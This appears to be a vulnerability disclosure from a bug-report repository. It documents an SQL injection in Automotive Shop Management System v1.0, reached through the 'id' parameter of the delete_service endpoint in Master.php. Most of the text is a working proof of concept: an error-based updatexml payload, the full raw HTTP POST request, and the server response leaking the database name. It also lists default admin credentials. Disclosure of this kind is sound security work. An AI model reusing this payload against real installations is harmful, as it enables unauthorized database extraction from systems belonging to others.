

main

...

bug_report / vendors / oretnom23 / automotive-shop-management-system / SQLi-2.md



suikirakira Update SQLi-2.md

History

1 contributor

35 lines (24 sloc) | 1.25 KB

...

Automotive Shop Management System v1.0 by oretnom23 has SQL injection

BUG_Author: suikirakira

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /asms/classes/Master.php?f=delete_service

Vulnerability location: /asms/classes/Master.php?f=delete_service, id

dbname =asms_db,length=7

[+] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /asms/classes/Master.php?f=delete_service HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=0bfse7548hblm51blclp48r057; dou_member_id=1; dou_member_code=3a2d7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 67

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

POST /asms/classes/Master.php?f=delete_service HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm51blclp48r057; dou_member_id=1; dou_member_code=3a2d7d2301afce4cf127
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

HTTP/1.1 200 OK
Date: Wed, 26 Oct 2022 14:03:03 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.11 PHP/8.1.0
X-Powered-By: PHP/8.1.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 407
Connection: close
Content-Type: text/html; charset=UTF-8

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: ''asms_db'' in C:\xampp\htdocs\asms\classes\Master.php:81
Stack trace:
#0 C:\xampp\htdocs\asms\classes\Master.php(81): mysqli->query('UPDATE `service...')
#1 C:\xampp\htdocs\asms\classes\Master.php(421): Master->delete_service()
#2 {main}
thrown in C:\xampp\htdocs\asms\classes\Master.php on line 81
